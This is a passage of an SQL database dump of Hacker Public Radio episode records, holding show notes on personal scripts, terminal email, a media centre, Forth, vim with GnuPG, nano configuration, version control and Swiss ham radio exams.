cp\r\n     9    280 rmdir\r\n    10    202 df\r\n</pre>\r\n',30,0,1,'CC-BY-SA','unix, unix commands',0,0,1),
(3474,'2021-11-25','H P R and Audio Fun',671,'Comments on show and audio processing ','<p><a href=\"https://matrix.to/#/#HPR:matrix.org\" class=\"uri\">https://matrix.to/#/#HPR:matrix.org</a></p>\r\n<ul>\r\n<li><p>media &gt; text &gt; keywords<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/Stream_to_Text_with_Keywords.sh</a></p></li>\r\n<li><p>NICE !<br />\r\n<a href=\"https://hackerpublicradio.org/rss-future.php\" class=\"uri\">https://hackerpublicradio.org/rss-future.php</a></p></li>\r\n<li><p>broken ?<br />\r\n<a href=\"https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/\" class=\"uri\">https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/</a> ( broken ? )</p></li>\r\n<li><p>Donate!<br />\r\n<a href=\"https://secure.anhonesthost.com/store/hpr-hosting-cost-donations\" class=\"uri\">https://secure.anhonesthost.com/store/hpr-hosting-cost-donations</a></p></li>\r\n<li><p>android compressor / limiter<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=io.github.kushiheim.glycox\" class=\"uri\">https://play.google.com/store/apps/details?id=io.github.kushiheim.glycox</a></p></li>\r\n<li><p>notes on Linux Audio<br />\r\n<a href=\"https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit#heading=h.wp1n4j8ybidv\" class=\"uri\">https://docs.google.com/document/d/1E1xAwWpq-C4vEh8LCRw7MD7jnaclX9Faf2L3dZWiqQY/edit#heading=h.wp1n4j8ybidv</a></p></li>\r\n<li><p>possible automated silence detection to be used for noise profile !!!! ( let\'s talk about it ! )<br />\r\n<a href=\"https://stackoverflow.com/questions/45526996/split-audio-files-using-silence-detection/46001755\" class=\"uri\">https://stackoverflow.com/questions/45526996/split-audio-files-using-silence-detection/46001755</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','audio',0,0,1),
(3491,'2021-12-20','My Github and flickmetrix',1553,'Bear with me as I go though my github over the past year some real gems in here','<ul>\r\n<li><p>main github (other stuff one there like SC_BADGER etc)<br />\r\n<a href=\"https://github.com/freeload101\" class=\"uri\">https://github.com/freeload101</a></p></li>\r\n<li><p>flickmetrix script<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/7279338b610c914812169e107cbbea45e4ca5254/fu.txt#L102\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/7279338b610c914812169e107cbbea45e4ca5254/fu.txt#L102</a></p></li>\r\n<li><p>High_Contrast_Toggle_AutoHotkey.ahk<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey\" class=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey</a></p></li>\r\n<li><p>smart nmap<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/NMAP_SMART_FAST.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/NMAP_SMART_FAST.sh</a></p></li>\r\n<li><p>clean up script for media cool find regex here<br />\r\n<a href=\"https://raw.githubusercontent.com/freeload101/SCRIPTS/master/Bash/RMEMPTY.sh\" class=\"uri\">https://raw.githubusercontent.com/freeload101/SCRIPTS/master/Bash/RMEMPTY.sh</a></p></li>\r\n<li><p>good movies page<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Bash/flickmetrix_good_movies.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Bash/flickmetrix_good_movies.sh</a></p></li>\r\n<li><p>mobile mass SSL depinning script<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/JS/universal-android-ssl-pinning-bypass-with-frida.js\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/JS/universal-android-ssl-pinning-bypass-with-frida.js</a></p></li>\r\n<li><p>android debloat and dump app names/ with file names<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_Debloat_N_Dump.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_Debloat_N_Dump.bat</a></p></li>\r\n<li><p>help debug CPU hogging apps in android logs<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_logcat_cat.sh\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Android_logcat_cat.sh</a></p></li>\r\n<li><p>script that kills all processes and then cleans temp files etc<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/BleachBit_Quickkill.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/BleachBit_Quickkill.bat</a></p></li>\r\n<li><p>Cool script that debloats,hardends,installs cygwin and chocolatey apps<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Chocolatey_Cygwin.cmd\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Chocolatey_Cygwin.cmd</a></p></li>\r\n<li><p>dump windows system info ,dxdiag info and battery info<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/DUMP_WINDOWS_INFO.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/DUMP_WINDOWS_INFO.bat</a></p></li>\r\n<li><p>youtube downloader (now yt-dlp) script to mass download multi threaed media all at the same time.<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat</a></p></li>\r\n<li><p>bunch of \'old\' one liners etc<br />\r\n<a href=\"https://github.com/freeload101/SCRIPTS/blob/master/fu.txt\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/fu.txt</a></p></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','scripts,hacking,github,windows,linux',0,0,1),
(3467,'2021-11-16','Protonmail in the terminal',2262,'One way of doing Protonmail in the terminal.','<p>I use email in the terminal with a combination of:</p>\r\n<dl>\r\n<dt>protonmail-bridge-cli</dt>\r\n<dd>local IMAP server to fetch Protonmail mails\r\n</dd>\r\n<dt>tmux</dt>\r\n<dd>to run protonmail-bridge in\r\n</dd>\r\n<dt>isync (or offlineimap etc)</dt>\r\n<dd>to sync IMAP with maildirs\r\n</dd>\r\n<dt>notmuch</dt>\r\n<dd>to tag and search mails\r\n</dd>\r\n<dt>afew</dt>\r\n<dd>to move mails found by certain notmuch queries in certain maildirs\r\n</dd>\r\n<dt>alot</dt>\r\n<dd>to read, compose, search and tag mails\r\n</dd>\r\n<dt>msmtp</dt>\r\n<dd>to send mails\r\n</dd>\r\n<dt>w3m (or lynx etc)</dt>\r\n<dd>to read HTML mails in the terminal\r\n</dd>\r\n<dt>rsync</dt>\r\n<dd>to copy archived mails\r\n</dd>\r\n<dt>a shell function and an alias</dt>\r\n<dd>to make it all less ridiculous\r\n</dd>\r\n</dl>\r\n<p>To most, Thunderbird will be suitable, the target audience here is unreasonable people.</p>\r\n<h3>Complete Show Notes</h3>\r\n<p>\r\nFollow this link for the complete show notes: <a href=\"https://hackerpublicradio.org/eps/hpr3467/\">https://hackerpublicradio.org/eps/hpr3467/</a>\r\n</p>',399,0,1,'CC-BY-SA','email,protonmail,alot,afew,notmuch,mbsync',0,0,1),
(3475,'2021-11-26','How I Watch Everything Using Open Source Software',878,'Using Libreelec, Kodi, a tuner, and a Raspberry Pi to create a great media center','<p>I\'ve been using this setup or one similar for several years now and it has worked out very well.</p>\r\n<p>Hardware:</p>\r\n<ul>\r\n<li>Clearstream TV antenna</li>\r\n<li>Coax cable</li>\r\n<li>Hauppage WinTV-dual HD USB Dual Tuner</li>\r\n<li>Raspberry Pi 4 4GB</li>\r\n<li>1 TB SSD connected via USB 3</li>\r\n<li>HDMI cable</li>\r\n</ul>\r\n<p>Software:</p>\r\n<ul>\r\n<li>Libreelec OS</li>\r\n<li>Kodi</li>\r\n<li>TVheadend server</li>\r\n<li>TVheadend client</li>\r\n<li>Debrid addon media streamer</li>\r\n</ul>\r\n<p>Any questions or comments you can reach me at minnix at minnix dot dev</p>\r\n',375,0,0,'CC-BY-SA','libreelec,kodi,raspberry pi,tvheadend',0,0,1),
(3477,'2021-11-30','Picking a Forth',1313,'Available forths, old and new','<ul>\r\n<li><p>arduino as a sketch download pdf at <a href=\"https://wiki.forth-ev.de\">wiki.forth-ev.de</a>, then cut and paste $</p></li>\r\n<li><p>the arduino controlled by eforth, search for this ter$</p></li>\r\n<li><p>amforth<br />\r\n<a href=\"https://amforth.sourceforge.net\">amforth.sourceforge.net</a></p></li>\r\n<li><p>flashforth<br />\r\n<a href=\"https://flashforth.com\">flashforth.com</a></p></li>\r\n<li><p>resources<br />\r\n<a href=\"https://arduino-forth.com\">arduino-forth.com</a><br />\r\n<a href=\"https://forth.org\">forth.org</a><br />\r\n<a href=\"https://forth.org/eforth.html\">forth.org/eforth.html</a><br />\r\n</p></li>\r\n</ul>\r\n',326,0,0,'CC-BY-SA','forth, arduino, history',0,0,1),
(3478,'2021-12-01','Audio Wiring Hack on a Classroom Podium',1093,'Listen in while I hack the wiring on our classroom podium for custom audio routing.','<p>In this episode I take you along for the ride as I hack the wiring in a classroom podium so that I can show musical scores on the Elmo document camera while playing audio through the podium\'s laptop VGA audio source. Without this hack, the students could either see the score, or they could hear the music, but not both. This simple hack installing two jumper wires allows them to see the score and hear the music at the same time, which is important in my classes. I could already do this by using a PDF music score on my laptop while playing the audio file, but this allows me to use a paper score and audio from my laptop at once. It essentially acts as an audio splitter, sending the audio signal to two channels at once.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Music from Kimiko Ishizaka\'s <em>The Open Well-Tempered Clavier</em>: <a href=\"https://www.welltemperedclavier.org/\">https://www.welltemperedclavier.org/</a>, used by permission of its <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n	<li><a href=\"https://www.flickr.com/gp/137675441@N05/0K3EVq\">Pictures of the <em>Podium Audio Wiring Hack</em></a></li>\r\n</ul>\r\n\r\n',238,0,0,'CC-BY-SA','audio, wiring, higher education',0,0,1),
(3484,'2021-12-09','My vim setup with GnuPG',501,'My vim setup with the GnuPG vim plugin','<h2 id=\"using-the-gnupg-vim-plugin-to-edit-encrypted-files.\">Using the GnuPG vim plugin to edit encrypted files.</h2>\r\n<ul>\r\n<li><p>See show hpr3476 My mutt email setup<br />\r\n<a href=\"https://www.hackerpublicradio.org/eps.php?id=3476\" class=\"uri\">https://www.hackerpublicradio.org/eps.php?id=3476</a></p></li>\r\n<li><p>GnuPG Vim Plugin on vim.org<br />\r\n<a href=\"https://www.vim.org/scripts/script.php?script_id=3645\" class=\"uri\">https://www.vim.org/scripts/script.php?script_id=3645</a></p></li>\r\n<li><p>GnuPG Vim Plugin on Github<br />\r\n<a href=\"https://github.com/vim-scripts/gnupg.vim\" class=\"uri\">https://github.com/vim-scripts/gnupg.vim</a></p></li>\r\n</ul>\r\n<p><em>Line to directly clone from github</em></p>\r\n<pre><code>  git clone https://github.com/vim-scripts/gnupg.vim</code></pre>\r\n<p>From <code>man 1 gpg-agent</code>:</p>\r\n<blockquote>\r\n<p>You should always add the following lines to your <code>.bashrc</code> or whatever initialization file is used for all shell invocations:</p>\r\n<pre><code>GPG_TTY=`tty`\r\nexport GPG_TTY</code></pre>\r\n<p>It is important that this environment variable always reflects the output of the tty command.</p>\r\n</blockquote>\r\n<p><em>.bashrc snippet</em></p>\r\n<pre><code>  ## GPG Vim\r\n  GPG_TTY=`tty`\r\n  export GPG_TTY\r\n  export EDITOR=vim</code></pre>\r\n<p><em>GnuPG folder structure</em></p>\r\n<pre><code>  [mark@fedora-lt ~]$ tree .vim\r\n  .vim\r\n  &#x251C;&#x2500;&#x2500; plugin\r\n  &#x2502;   &#x2514;&#x2500;&#x2500; vim-gnupg\r\n  &#x2502;       &#x251C;&#x2500;&#x2500; autoload\r\n  &#x2502;       &#x2502;   &#x2514;&#x2500;&#x2500; gnupg.vim\r\n  &#x2502;       &#x251C;&#x2500;&#x2500; doc\r\n  &#x2502;       &#x2502;   &#x2514;&#x2500;&#x2500; gnupg.txt\r\n  &#x2502;       &#x251C;&#x2500;&#x2500; plugin\r\n  &#x2502;       &#x2502;   &#x2514;&#x2500;&#x2500; gnupg.vim\r\n  &#x2502;       &#x2514;&#x2500;&#x2500; README.md\r\n  &#x2514;&#x2500;&#x2500; spell\r\n      &#x251C;&#x2500;&#x2500; en.utf-8.add\r\n      &#x2514;&#x2500;&#x2500; en.utf-8.add.spl</code></pre>\r\n<p><em>vimrc</em></p>\r\n<pre><code>set tabstop=2 softtabstop=0 expandtab shiftwidth=2 smarttab textwidth=80\r\nsyntax on\r\nautocmd BufRead,BufNewFile   *.log set filetype=logtalk\r\nset spell spelllang=en_us</code></pre>\r\n<p>Generate gpg full key<br />\r\n<code>gpg --full-generate-key</code></p>\r\n<p>or just a regular one, with less options<br />\r\n<code>gpg --gen-key</code></p>\r\n<p>Encrypt the file in question, with -r as the recipient<br />\r\nIn this case, I used part of the comment as the recipient</p>\r\n<p><em>Picture 1</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3484/picture001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3484/picture001_thumbnail.png\" alt=\"Picture 1\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small></p>\r\n<p>This is more like it.<br />\r\n<code>gpg -e -r test thisIsMyTestFile.txt</code></p>\r\n<p>Now test edit the file<br />\r\n<code>vim thisIsMyTestFile.txt.gpg</code></p>\r\n<p><em>Picture 2</em><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3484/picture002.png\" alt=\"Picture 2\" /></p>\r\n<p>It is a good idea to shred the original text file</p>\r\n<pre><code>      shred - overwrite a file to hide its contents, and optionally delete it\r\n      -u deallocate and remove file after overwriting\r\n      -v, --verbose, show progress</code></pre>\r\n<p>Example: <code>shred -u -v foo.txt</code></p>\r\n',318,11,0,'CC-BY-SA','vim, plugin, lightweight',0,0,1),
(3486,'2021-12-13','Unleash the true potential of GNU nano text editor',516,'Turn GNU nano text editor into a fancy, good looking & powerful editor','<p>Text editors are highly subjective and highly opinionated commodities. Everyone is aware of infamous rivalry between users of Emacs and Vi/Vim. Every single text editor has its own strengths and weaknesses. At the end of the day it\'s the question of your personal preferences and muscle memory when it comes to default key-bindings. Both Emacs and Vim have a learning curve. Steepness of that curve depends on the person\'s background and interests. Hey, but today I\'m not here to talk about Emacs and Vim. I\'m here to talk about a simple, easy to use and almost ever present text editor called <code>GNU nano</code>. So what exactly is this <code>nano</code> text editor? Well, according to documentation available on <code>GNU nano</code>\'s <a href=\"https://nano-editor.org/\">website</a>,</p>\r\n<blockquote>\r\n<p>GNU nano was designed to be a free replacement for the Pico text editor, part of the Pine email suite from The University of Washington. It aimed to \"emulate Pico as closely as is reasonable and then include extra functionality\".</p>\r\n</blockquote>\r\n<p>Pico and Pine email suites are still around so what was the need to create <code>nano</code> in the first place? The answer is license. Pico and Pine email suites nowadays are available under Apache-2.0 license but that always wasn\'t the case and this ambiguity in the original licensing terms of the Pico editor led to the creation of <code>nano</code>. It was first created in 1999 with the name TIP (an acronym for TIP Isn\'t Pico), by Chris Allegretta. The name was changed to <code>nano</code> on January 10th, 2000 to avoid a naming conflict with the existing Unix utility tip. The name comes from the system of SI prefixes, in which <code>nano</code> is 1000 times larger than pico. In February 2001, <code>nano</code> became a part of the GNU Project. BTW if you want to know more about SI prefixes, I\'d highly recommend you to listen to <a href=\"https://hackerpublicradio.org/eps.php?id=3454\">HPR episode 3453 - Engineering notation</a> by Ken Fallon.</p>\r\n<p><code>nano</code> is really small in footprint and is relatively easy to use compared to Emacs and Vim and perhaps this is the reason why you\'d invariably find it already installed on almost all GNU/Linux distributions. If you have ever used <code>nano</code> before you might have noticed that it looks kinda boring; there are no line-numbers nor there is any syntax highlighting and spell-checking also seems absent. But this is not true. <code>nano</code> has all of these features and even some more like regex searches, indentation, multiple buffers, available at its disposal. Then why does it come across as a plain Jane? The short answer is, I honestly don\'t know! For some unknown and obscure reasons many of <code>nano</code>\'s cool features are disabled by default. This results in <code>nano</code> coming across as a plain Jane little text editor that is uncool. And as I mentioned earlier, that is not true. But worry not! It is so darn easy to unleash the true potential of <code>nano</code> and make it shine. Are you ready? Great! Let\'s do it together then!</p>\r\n<p>First thing we need to to do is create a file with the name <code>.nanorc</code> in the <code>$HOME</code> directory. Open your terminal emulator and run,</p>\r\n<pre class=\"text\"><code>touch $HOME/.nanorc\r\n</code></pre>\r\n<p>We\'d also need to create a directory called <code>Nano_Backups</code> in our <code>Documents</code> directory. To do so run the following command,</p>\r\n<pre class=\"text\"><code>mkdir -p $HOME/Documents/Nano_Backups\r\n</code></pre>\r\n<p>Next open that <code>.nanorc</code> file and simply paste the following content in it,</p>\r\n<pre class=\"text\"><code>set atblanks\r\nset autoindent\r\nset backup\r\nset backupdir &quot;/home/USERNAME/Documents/Nano_Backups&quot;\r\nset boldtext\r\nset constantshow\r\nset cutfromcursor\r\nset indicator\r\nset linenumbers\r\nset magic\r\nset minibar\r\nset mouse\r\nset showcursor\r\nset softwrap\r\nset speller &quot;aspell -x -c&quot;\r\nset trimblanks\r\nset whitespace &quot;&#187;&middot;&quot;\r\nset zap\r\nset multibuffer\r\n\r\nset titlecolor bold,lightwhite,blue\r\nset promptcolor lightwhite,lightblack\r\nset statuscolor bold,lightwhite,green\r\nset errorcolor bold,lightwhite,red\r\nset spotlightcolor black,lime\r\nset selectedcolor lightwhite,magenta\r\nset stripecolor ,yellow\r\nset scrollercolor cyan\r\nset numbercolor cyan\r\nset keycolor cyan\r\nset functioncolor green\r\n\r\ninclude &quot;/usr/share/nano/*.nanorc&quot;\r\n\r\nbind ^Q exit all\r\nbind ^S savefile main\r\nbind ^W writeout main\r\nbind ^O insert main\r\nbind ^H help all\r\nbind ^H exit help\r\nbind ^F whereis all\r\nbind ^G findnext all\r\nbind ^B wherewas all\r\nbind ^D findprevious all\r\nbind ^R replace main\r\nbind ^X cut main\r\nbind ^C copy main\r\nbind ^V paste all\r\nbind ^P location main\r\nbind ^E execute main\r\nbind ^A mark main\r\nunbind ^K main\r\nunbind ^U all\r\nunbind ^N main\r\nunbind ^Y all\r\nunbind M-J main\r\nunbind M-T main\r\nbind ^T gotoline main\r\nbind ^T gotodir browser\r\nbind ^T cutrestoffile execute\r\nbind ^L linter execute\r\nbind M-U undo main\r\nbind M-R redo main\r\nbind ^Z undo main\r\nbind ^Y redo main\r\n</code></pre>\r\n<p>You\'ll have to replace <code>USERNAME</code> in the line number four, <code>set backupdir \"/home/USERNAME/Documents/Nano_Backups/\"</code> with your actual <code>username</code> and then save this file.</p>\r\n<p>Wouldn\'t it be nice if the colors in <code>nano</code> were different for a normal user and a root user? Yes, for sure. To do so create an empty <code>.nanorc</code> file in the root\'s directory,</p>\r\n<pre class=\"text\"><code>sudo touch /root/.nanorc\r\n</code></pre>\r\n<p>Next create the backup directory <code>Nano_Backups</code> in root\'s <code>Documents</code> directory. To do so run the following command,</p>\r\n<pre class=\"text\"><code>sudo mkdir -p /root/Documents/Nano_Backups\r\n</code></pre>\r\n<p>Open that <code>/root/.nanorc</code>file and paste this content in it and save the changes,</p>\r\n<pre class=\"text\"><code>set atblanks\r\nset autoindent\r\nset backup\r\nset backupdir &quot;/root/Documents/Nano_Backups/&quot;\r\nset boldtext\r\nset constantshow\r\nset cutfromcursor\r\nset indicator\r\nset linenumbers\r\nset magic\r\nset minibar\r\nset mouse\r\nset showcursor\r\nset softwrap\r\nset speller &quot;aspell -x -c&quot;\r\nset trimblanks\r\nset whitespace &quot;&#187;&middot;&quot;\r\nset zap\r\nset multibuffer\r\n\r\nset titlecolor bold,lightwhite,magenta\r\nset promptcolor black,yellow\r\nset statuscolor bold,lightwhite,magenta\r\nset errorcolor bold,lightwhite,red\r\nset spotlightcolor black,orange\r\nset selectedcolor lightwhite,cyan\r\nset stripecolor ,yellow\r\nset scrollercolor magenta\r\nset numbercolor magenta\r\nset keycolor lightmagenta\r\nset functioncolor magenta\r\n\r\ninclude &quot;/usr/share/nano/*.nanorc&quot;\r\n\r\nbind ^Q exit all\r\nbind ^S savefile main\r\nbind ^W writeout main\r\nbind ^O insert main\r\nbind ^H help all\r\nbind ^H exit help\r\nbind ^F whereis all\r\nbind ^G findnext all\r\nbind ^B wherewas all\r\nbind ^D findprevious all\r\nbind ^R replace main\r\nbind ^X cut main\r\nbind ^C copy main\r\nbind ^V paste all\r\nbind ^P location main\r\nbind ^E execute main\r\nbind ^A mark main\r\nunbind ^K main\r\nunbind ^U all\r\nunbind ^N main\r\nunbind ^Y all\r\nunbind M-J main\r\nunbind M-T main\r\nbind ^T gotoline main\r\nbind ^T gotodir browser\r\nbind ^T cutrestoffile execute\r\nbind ^L linter execute\r\nbind M-U undo main\r\nbind M-R redo main\r\nbind ^Z undo main\r\nbind ^Y redo main\r\n</code></pre>\r\n<p>What we have just done is, we have enabled some useful features of <code>nano</code> and changed the default keybindings to the more familiar ones like <code>Ctrl+C</code> for copying, <code>Ctrl+X</code> for cutting, <code>Ctrl+V</code> for pasting and a bunch of other key combinations. We\'ve also enabled automatic backing-up of documents. Backups will get saved in the user\'s <code>Documents/Nano_Backups</code> directory.</p>\r\n<p>Spell checker is enabled in <code>nano</code> via this configuration but to utilize it you\'ll have to install <code>aspell</code> and <code>aspell-dictionary</code> from your package manager.</p>\r\n<p>Kudos! We have turned a timid <code>GNU nano</code> into a powerful wildebeest. Try this configuration and if possible leave your feedback.</p>\r\n<p>A word of warning. Package maintainers often ship stripped down versions of <code>nano</code> so one of these features might not be present in your installation and in that case, <code>nano</code> will throw some errors and refuse to start. You have two choices in that scenario; first, disable that feature by deleting the corresponding line from <code>.nanorc</code> file. Your second option is to download the <code>nano</code> <a href=\"https://nano-editor.org/download.php\">source code</a> and compile it yourself with all the features intact. If I were you, I\'d go with the second option as compiling <code>nano</code> is really simple and straightforward. Only extra packages that you will need are <code>libncurses-dev</code> and <code>libmagic-dev</code>.</p>\r\n<p>I\'ll leave you guys with a quote from some wise man,</p>\r\n<blockquote>\r\n<p>Good Things Come in Small Packages.</p>\r\n</blockquote>\r\n',397,11,1,'CC-BY-SA','text-editor, terminal, linux, nano, pico, pine, nanorc',0,0,1),
(3488,'2021-12-15','Binaural 3d audio recording, please listen at normal speed with good head phones.',302,'recorded November 19 2021 quick storm.','<p>Recorded November 19 2021 quick storm. Please search Binaural on HPR for similar recordings and description of procedure, enjoy and have a glorious 2022.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0785\">hpr0785 :: binaural recording</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0792\">hpr0792 :: Binaural Recording</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2338\">hpr2338 :: Binaural recording 2 off to work</a></li>\r\n</ul>\r\n',110,101,0,'CC-BY-SA','Binaural, storm, thunder',0,0,1),
(3479,'2021-12-02','Linux Inlaws S01E49: Version Control Systems and why bother',3414,'Version Control Systems and why bother','<p>In this episode our two heroes contemplate the ins and outs of version\r\ncontrol systems (VCS) and how to maintain sanity using them. Particular focus\r\nis on the newer generation of such as git which enabled large-scale community\r\nprojects such as the Linux kernel, programming languages like Rust and Python\r\nand other shenanigans. Including a crash course on version control systems\r\n- you may credits at your local third-level education facility for listening\r\nto this episode. Just tell them the Inlaws sent you :-). Plus Martin reveals\r\nhis favourite Pay TV channel and his gun-buying habits being a minor. Don\'t\r\nmiss this episode if you\'re a minor and want to buy a gun in certain countries\r\n(details as part of the episode! :-).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>V-Model: <a href=\"https://en.wikipedia.org/wiki/V-Model\" target=_blank>https://en.wikipedia.org/wiki/V-Model</a></li>\r\n<li>Mercurial: <a href=\"https://www.mercurial-scm.org\" target=_blank>https://www.mercurial-scm.org</a></li>\r\n<li>Concurrent Version Control System (CVS): <a href=\"https://cvs.nongnu.org\" target=_blank>https://cvs.nongnu.org</a></li>\r\n<li>Minix: <a href=\"https://www.minix3.org\" target=_blank>https://www.minix3.org</a></li>\r\n<li>Bazaar: <a href=\"https://bazaar.canonical.com/en\" target=_blank>https://bazaar.canonical.com/en</a></li>\r\n<li>Subversion (SVN): <a href=\"https://subversion.apache.org\" target=_blank>https://subversion.apache.org</a></li>\r\n<li>Git: <a href=\"https://git-scm.com\" target=_blank>https://git-scm.com</a></li>\r\n<li>Bitkeeper: <a href=\"https://www.bitkeeper.org\" target=_blank>https://www.bitkeeper.org</a></li>\r\n<li>IBM 390: <a href=\"https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PP9000.html\" target=_blank>https://www.ibm.com/ibm/history/exhibits/mainframe/mainframe_PP9000.html</a></li>\r\n<li>gitea: <a href=\"https://gitea.io\" target=_blank>https://gitea.io</a></li>\r\n<li>Special K: <a href=\"https://en.wikipedia.org/wiki/Special_K\" target=_blank>https://en.wikipedia.org/wiki/Special_K</a></li>\r\n<li>Special K (song): <a href=\"https://en.wikipedia.org/wiki/Special_K_(song)\" target=_blank>https://en.wikipedia.org/wiki/Special_K_(song)</a></li>\r\n<li>Special K (former country, the Wikipedia page is slightly outdated): <a href=\"https://en.wikipedia.org/wiki/United_Kingdom\" target=_blank>https://en.wikipedia.org/wiki/United_Kingdom</a></li>\r\n<li>Imperium: <a href=\"https://www.imdb.com/title/tt4781612/?ref_=fn_al_tt_2\" target=_blank>https://www.imdb.com/title/tt4781612/?ref_=fn_al_tt_2</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Version control systems, git, subversion, mercurial, bazaar, how to buy guns as a minor in NL',0,0,1),
(3483,'2021-12-08','Pinephone64 review',563,'Sigflup got a pinephone and wants to talk about it. ','<p>ringtone location: <code>/usr/share/sounds/freedesktop/stereo</code></p>\r\n\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr3483/hpr_pine.jpg\" /><br />\r\nGimp on a cellphone, for obvious reasons.</p>\r\n\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/PinePhone\">wikipedia: https://en.wikipedia.org/wiki/PinePhone</a></li>\r\n<li><a href=\"https://www.pine64.org/pinephone/\">Official website: https://www.pine64.org/pinephone/</a></li>\r\n<li><a href=\"https://wiki.pine64.org/index.php/PinePhone\">PinePhone Wiki: https://wiki.pine64.org/index.php/PinePhone</a></li>\r\n</ul>\r\n',115,0,0,'CC-BY-SA','linux,cellphone,pinephone,mobie phone',0,0,1),
(3505,'2022-01-07','A DX with Hotel Bravo 9 Hotel November Tango',2890,'Ken (PA7KEN) and Beni (HB9HNT) talk about getting your HAM ticket in Switzerland','<h3>HAM Radio Organizations</h3>\r\n<p>\r\nThe HAM Page of the  Swiss Federal Office of Communications, BAKOM: <a href=\"https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/frequenznutzung-mit-oder-ohne-konzessionen/amateurfunk.html\">https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/frequenznutzung-mit-oder-ohne-konzessionen/amateurfunk.html</a>\r\n</p>\r\n<p>\r\nUnion of Swiss Short Wave Amateurs, they manage the local associations and the use of the frequencies for relays and automated stations: <a href=\"https://www.uska.ch/en/\">https://www.uska.ch/en/</a>\r\n</p>\r\n\r\n<h3>Training</h3>\r\n\r\n<p>\r\nMost likely the best way to prepare for the exam is attending a preparation course from a local Association, of have a brother who did and forwarded all the background info and documents to me. ;) But apart from having a brother I did the following:\r\n</p>\r\n<p>\r\nThe online version of the books I read: <a href=\"https://www.darc.de/der-club/referate/ajw/darc-online-lehrgang/\">https://www.darc.de/der-club/referate/ajw/darc-online-lehrgang/</a> - again in German. They\'re mainly geared towards the German exams but the knowledge contained is useful for the Swiss exams, too.\r\n</p>\r\n<p>\r\nI mainly used the HamRadioTrainer to prepare for the exam. This is a Windows application which however works pretty well in wine. I was told that the Swiss questions are rather old, 2017ish.\r\n</p>\r\n<p>\r\nI was told that there are mobile apps with more recent questions but I couldn\'t be bothered to check whether they exist on F-Droid.\r\n</p>\r\n<p>\r\nThe BAKOM also has a site about the exams, containing PDFs with example questions, of course again everything in German: <a href=\"https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/funkerpruefungen/amateurfunk-pruefungen.html\">https://www.bakom.admin.ch/bakom/de/home/frequenzen-antennen/funkerpruefungen/amateurfunk-pruefungen.html</a>\r\n</p>',288,43,0,'CC-BY-SA','Swiss,BAKOM,HamRadioTrainer,HB9',0,0,1),
